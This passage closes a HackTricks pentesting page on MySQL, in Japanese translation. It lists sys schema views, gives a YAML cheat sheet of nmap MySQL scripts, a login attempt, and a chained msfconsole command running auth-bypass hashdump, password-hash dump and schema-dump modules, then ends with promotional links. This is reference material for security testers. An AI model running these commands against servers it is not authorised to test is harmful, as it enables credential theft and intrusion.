x$user\_summary\_by\_statement\_type\
x$wait\_classes\_global\_by\_avg\_latency\
x$wait\_classes\_global\_by\_latency\
x$waits\_by\_host\_by\_latency\
x$waits\_by\_user\_by\_latency\
x$waits\_global\_by\_latency
```
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的な知識の促進を使命として**、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>